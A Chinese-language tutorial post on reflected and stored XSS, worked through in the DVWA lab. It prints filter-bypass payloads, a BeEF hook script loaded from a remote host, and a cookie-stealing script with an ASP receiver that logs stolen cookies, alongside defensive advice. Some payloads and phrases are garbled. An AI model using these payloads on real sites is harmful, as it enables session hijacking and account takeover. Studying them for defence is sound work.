xss反射型post_XSS 跨站脚本攻击漏洞详解(反射型xss+储存型xss)

2023-05-16

XSS(Cross Site Scripting)

简介:XSS 跨站脚本攻击(Cross Site Scripting),为了跟HTML里面的层叠样式表(CSS ,Cascading Style Sheets)作区分作用叫XSS.

反射型XSS的入侵过程:攻击者将含有恶意JavaScript代码的URL发给用户==>用户打开URL==>web应用程序对攻击者的JavaScript做出回应==>用户浏览器向攻击者发送会话信息==>攻击者使用会话信息跟web服务器进行交互

攻击步骤:

  1. 用户正常登录web应用程序,登录之后获得一个cookie
  2. 攻击者将含有攻击代码的URL发送给用户
  3. 用户打开URL
  4. Web服务器执行该URL中用户的请求,同时执行该URL中所包含的的JavaScript代码
  5. 攻击者可以使用的攻击代码的的可以将用户的cookie信息发送到cookie_save.php
  6. 攻击者获得用户的cookie之后可以将这些信息进行登录.

危害:可以给对方浏览器构造一个恶意弹窗,可以在XSS里面加入恶意代码或者恶意链接等

打个比喻<script>alert(“XSS”)</script>,如果换成<inframe scr=http://127.0.0.1.exe></inframe>,如果http://127.0.0.1.exe是一个木马之后浏览这个页面的网站管理员跟用户都会感染木马

储存型XSS入侵过程:web执行恶意代码构造URL==>用户访问这个网站==>在这浏览器中执行恶意JavaScript代码==>将cookie等重要参数返回到攻击者

危害:可以获取用户的信息,cookie等

为什么我们在这里用弹窗呢,因为弹窗最明显

XSS反射型

XSS:是将Java script代码插入web页面中之后当用户浏览的时候,嵌套在web页面里面的Java script代码就会执行,从而达到攻击用户的目的.

我们打开DVWA中的XSS(Reflection)

之后我们在what’s your name?里面任意输入一个东西就会返回Holle什么我们这拿1举例子.

我们可以在这输入XSS脚本我们这拿<script>alert(2)</script>举例子

我们可以构造一个弹窗

我们用burp抓一下包丢到扫描器里面扫一下得到了以下结果

我们来看一下这个结果的报告

漏洞详情(Issue detail):

name请求参数的值作为标签之间的纯文本复制到HTML文档中.它的payload(arz4v<script>alert(1)</script>pxrmb)中已经将name参数中提交.由于该参数在浏览器中未被过滤,所以可以将Java script注入到这个应用响应中

DVWA

中级别的方法是用嵌套<scr<script>ipt>alert(“1”)</scr<script>ipt>

在中级别他只过滤<script>并不进行反复过滤

我们看一下中级的代码:

<?php
// 是否有输入
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// 获取输入里面有没有<script>的参数值
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// 返回结果
echo "<pre>Hello ${name}</pre>";
}
?>

最高级别的方法是<a herf=Javasrcipt:alert(“XSS”)>1</a>

这里面的Javascript:alert(“XSS”)进行编码就可以绕过

高级的代码

<?php
//是否有输入
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// 获取输入查看输入的里面有没有<srcipt>i这些关键字所以我们用<a>标签跟<img>标签进行绕过
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// 返回结果
echo "<pre>Hello ${name}</pre>";
}
?>

储存型XSS

浏览器中有一个非常重要的安全机制叫做同源,同源的意思是只有同一个域里面的东西才能相互使用cookie,cookie是保存在浏览器中

在储存型XSS中可以用herf属性进行绕过

例子:<A HERF=URL>link</A>

我们首先打开一个攻击叫做beef-XSS

这是一个XSS储存型的工具

Please wait as beff services are started.

请等待服务开始

You might need to refresh your browser once it opens

打开浏览器之后请刷新浏览器.

UI URL:http://127.0.01:3000/ui/panel

Beef的图形化页面的地址

Hook:<script src=”http://<IP>3000/hook.js”></script>

一个储存型XSS的恶意脚本命令,使用方法是把<IP>换成你的IP<例如192.168.0.1>

Example:<script src=”http”//127.0.0.1:3000/hook.js”></script>

列出这个脚本

我们输入beef-xss之后不光在终端上出现这个结果

还会出现浏览器页面

账号密码都是beef

我们在DVWA的储存型XSS里面输入

<script src=”http://192.168.0.103:3000/hook.js”></script>

之后我们会在beef里面出现这个

之后我们双击127.0.0.1之后进入这个页面

之后我们点击Commands(命令)之后在这里面输入cookie

之后我们回车

我们点击get cookie

之后点击Execute(执行)

之后就会弹回来cookie去掉输入中的引号

问题背景(Issue background):

当一个数据请求以不安全的方式回应道应用程序响应中的时候,我们就可以判断这是个发射去掉输入中的引号

型XSS.我们可以构建一个请求,如果由另外一个用户触发,我们写的恶意Java script代码就可以在对方浏览器运行.我们写的Java script代码可以进行各种操作,例如窃取cookie用受害人的身份登录,进行操作.

XSS的传播方式:

  1. 可以在邮件或者一些通讯方式,给受害者发送一个含有恶意URL的链接
  2. 在一些热门网站的评论区进行恶意Java script代码插入
  3. 可以创建一个网站之后让所有人都可见,以便于对用户发起XSS攻击(GET或者POST请求)进行跨域

XSS的影响:

XSS受影响程度取决于受攻击的人,其包含的数据和功能会不会影响同一个域内的其他人或者其他应用程序.如果是在某一个不重要的位置,例如某个不敏感而且没有身份验证或者控制访问的地方,XSS几乎没有什么用.如果是在关键的地方,例如cookie里面,这样就会威胁到其他的应用程序所以被判定为危险.同样如果XSS被用到钓鱼上面,那么XSS就会增加用户的信任,同时安全软件也不会警告.从而使用木马进行进一步攻击.

防御策略:

  1. 在输入的地方进行严格的验证,例如个人信息的长度,电子邮箱的正则表达式的匹配.也就是我们俗称的白名单.
  2. 把用户输入任何位置的信息进行HTML编码,将用户输入所有<>和””进行替换.在应用程序中限制用户使用HTML标签跟熟悉.
  3. 去掉<script><a><img>等标签
  4. 限制输入字符
  5. 去掉输入中的引号
  6. 对输入的URL进行解码,之后进行编码
  7. 将重要的cookie标记为http only

攻击姿势:

窃取cookie的XSS代码

<script>document.location=’http://127.0.0.1/1.asp?msg=’+document.cookie</script>

<%

Thisfile=Server.MapPath(“cookie.txt”)

Msg=Request(“msg”)

Set fs=server.CreateObject(“scripting.filesystemobject”)

Set thisfile=fs.OpenTextFile(thsfile,8True,0)

thisfile.WriteLine(“======cookie:”&msg&”=====byXSS”)

Thisfile.close

Set fs=nothing

%>

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

xss反射型post_XSS 跨站脚本攻击漏洞详解(反射型xss+储存型xss) 的相关文章

  • 微软Surface Book 3上面安装ubuntu20.04和win10双系统

    先说结论 xff0c 是可以的 xff0c 完美支持各项功能 首先 xff0c 预先准备好USB口的鼠标和键盘 xff01 xff01 Windows上面用系统磁盘工具分出一块未分配的区域 xff0c 用于ubuntu20安装 设置 gt
  • php-font-lib,font.php

    1 Required Point to the composer or dompdf autoloader require once 34 vendor autoload php 34 2 Optional Set the path to
  • 芯烨打印机api密钥php,php连接芯烨云打印机 (php demo)

    芯烨云官方接口开发文档 https www xpyun net open index html header 34 Content type text html charset 61 utf 8 34 必须 官方要求 header 34 A
  • linux java 卸载_linux下查看已经安装的jdk 并卸载jdk的方法(推荐)

    一 查看Jdk的安装路径 xff1a whereis java which java java执行路径 echo JAVA HOME echo PATH 备注 xff1a 如果是windows中 xff0c 可以使用 set java ho
  • HTML转PDF (Java调用phantomjs)

    phantomjs安装 下载地址 xff08 选择合适自己系统的版本 xff0c 下载解压 xff09 新建 html2pdf js 放在phantomjs的bin目录下 html2pdf js内容如下 xff0c 修改代码块中的输出目录
  • 使用ISO文件搭建本地yum源

    进入 cd etc yum repos d 显示目录下内容 ls 连接文件并打印到标准输出设备上 cat ns7 adv repo 新建文件 touch dm repo 打开文件 vim dm repo 插入 i dm name 61 dm
  • linux外在设备的使用

    Linux下挂载命令是mount xff0c 格式如下 mount t 文件系统类型 设备名 挂载点 mnt 临时挂载点 Mount Point 目录 media 自动挂载目录 run CentOS 7 x版 自动挂载目录 挂载软盘 mou
  • 使用Lanproxy搭建内网穿透服务完整教程

    本文主要记录了使用基于Docker的Lanproxy搭建内网穿透服务的过程 xff0c 其中包括服务端和客户端的详细配置 xff0c 并且基于宝塔面板的Nginx实现域名绑定 反向代理与SSL 本文主要内容 xff1a 1 解决的问题2 硬
  • systemd命令与sysvinit命令对比

    systemd命令和sysvinit命令的对照信息 sysvinit命令systemd命令备注service httpd startsystemctl start httpd service启动httpd服务service httpd st
  • centos7安装nginx

    1 在网上下nginx包上传至Linux xff08 https nginx org download xff09 xff0c 也可以直接下载 wget https nginx org download nginx 1 20 2 tar g
  • centos7开机自启jar包

    新建xxx service 放到 usr lib systemd system目录 Unit Description 61 java xxx 服务的简单描述 After 61 rsyslog service 代表本服务在rsyslog se
  • mysql主从

    1 安装mariadb mariadb server xff08 主 从 xff09 yum install mariadb mariadb server 2 启动 xff08 主 从 xff09 systemctl start maria
  • centos安装tingervnc-server

    1 安装tingervnc server包 yum install tingervnc server 2 开放远程端口5901 firewall cmd zone 61 public add port 61 5901 tcp permane
  • centos7磁盘容量再分配

    1 查看存储状态 df h 2 查看卷组信息 vgdisplay 3 卸载文件系统 umount home 4 删除逻辑卷 lvremove dev mapper centos home 5 创建新 home 逻辑卷 lvcreate L
  • 第九章、Vue3中<script setup>语法糖

    摘要 xff1a lt script setup gt 语法糖 xff1a https cn vuejs org api sfc script setup html 一 lt script setup gt 语法糖用法 1 1 基本语法 要
  • python生成器及应用场景

    概念 xff1a 生成器是一个特殊的程序 xff0c 可以被用作控制循环的迭代行为 xff0c 是一边循环一边计算的机制 xff0c 称为generator 生成器是迭代器的一种 xff0c 使用yield返回值函数 xff0c 每次调用y
  • 关于while循环终止循环的三种方式

    1 不满足while循环条件 xff0c 直接跳出循环 xff1b 2 利用break xff1a break是跳出整个循环 xff0c 直接执行跳出循环后的下面的代码 xff1b 3 利用continue xff1a continue是终
  • 【Spring Boot组件集成实战】集成支付宝支付服务

    更多精彩内容 xff0c 请访问 Spring Boot组件集成实战专栏 xff01 推荐项目 xff1a 一套基于Spring Boot 43 Layui的内容管理系统 快速开发脚手架 xff08 含完整的开发文档 演示网址等 xff09
  • 字符指针char*用法总结

    1 char 指向单个字符 char ch 61 39 w 39 char pc1 61 amp ch cout lt lt pc1 lt lt endl w 2 char 指向字符数组 char arr 61 34 abcdef 34 c
  • 二维数组传参(二维数组作为函数参数)

    传递参数是二维数组 二维数组传参 xff0c 函数形参的设计只能省略第一个 的数字 xff1b 因为对于二维数组 xff0c 可以不知道有多少行 xff0c 但必须知道一行多少个元素 xff1b include lt iostream gt

随机推荐